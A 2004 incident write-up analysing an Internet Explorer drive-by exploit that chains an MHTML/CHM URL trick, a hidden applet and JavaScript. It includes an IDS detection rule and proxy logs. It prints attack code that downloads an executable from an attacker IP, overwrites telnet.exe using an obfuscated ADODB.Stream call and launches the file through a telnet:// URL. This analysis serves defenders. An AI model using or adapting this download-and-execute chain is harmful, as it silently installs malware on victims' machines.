URL type used in IE exploit

Last Updated: Tuesday July 20, 2004

This document is part of the Browser Attacks Anthology

While investigating an IE CHM exploit, I stumbled upon something new to me; and new to the security community in general as it turned out. For the run-down you can read my posts on insecure.org's Full Disclosure mailing list here:

http://seclists.org/lists/fulldisclosure/2004/Jul/0884.html
http://seclists.org/lists/fulldisclosure/2004/Jul/0916.html

Meanwhile, our IDS alerted on an active MHTML exploit per the following rule:

alert tcp any any -> $HOME_NET any (msg:"BLEEDING-EDGE Microsoft MHTML URL Redirection Attempt"; flow:from_server,established; content:"mhtml|3A|file|3A|"; nocase; )

Digging through the proxy logs, I found the following pages had been accessed by the victim PC:

GET http://213.159.117.133/dl/adv74.php -
GET http://213.159.117.133/dl/adv74/x.chm
GET http://213.159.117.133/dl/redir.php
GET http://213.159.117.133/dl/loaderadv74.jar

Checking out the first file, adv74.php, I found the following content:

location="javascript:'[SCRIPT SRC=\\'http://213.159.117.133/dl/loader_adv74.js

That caused the browser to dowload loader_adv74.js, which we will look at in just a second. Finishing up with the first file, it also contained this:

ms-its:mhtml:file://c:\\nosuch.mht!http://213.159.117.133/dl/adv74/x.chm::/x.htm
[applet width=1 height=1 ARCHIVE=loaderadv74.jar code=Counter][/APPLET]

That caused the browser to download the x.chm file which is only part of the exploit. It also opened an applet tiny enough (1x1) for anyone to overlook. I chose not to investigate the contents of x.chm because of the influx of frequent events that all used the same attack mechanism via CHM files. I was more concerned with the content of loader_adv74.js:

function getRealShell() {
    myiframe.document.write("[SCRIPT SRC='http://213.159.117.133/dl/shellscript_adv74.js'][\/SCRIPT]");
}

Alright so the browser is now being instructed to download another javascript file, this time with a much more incriminating name. Here is a look inside:

var downloadurl="http://213.159.117.133/dl/loadadv74.exe";

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1) savetopath="C:\\WINDOWS\\system32\\telnet.exe";
if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1) savetopath="C:\\WINNT\\system32\\telnet.exe";

payloadURL = downloadurl;
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r" + "e" + "a" + "m"; }

var s = new ActiveXObject(bla());
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(savetopath,2);

location.href = "telnet://";

There it is! With no ego, I shall now quote myself from the Full Disclosure post:

"The JavaScript overwrites telnet.exe with a downloaded executable and then runs it by pointing the browser at telnet://. Instead of launching a telnet shell as expected, the attackers code is executed. This is not only an example of the telnet URL type being involved in an exploit, but one that actually relies on it. "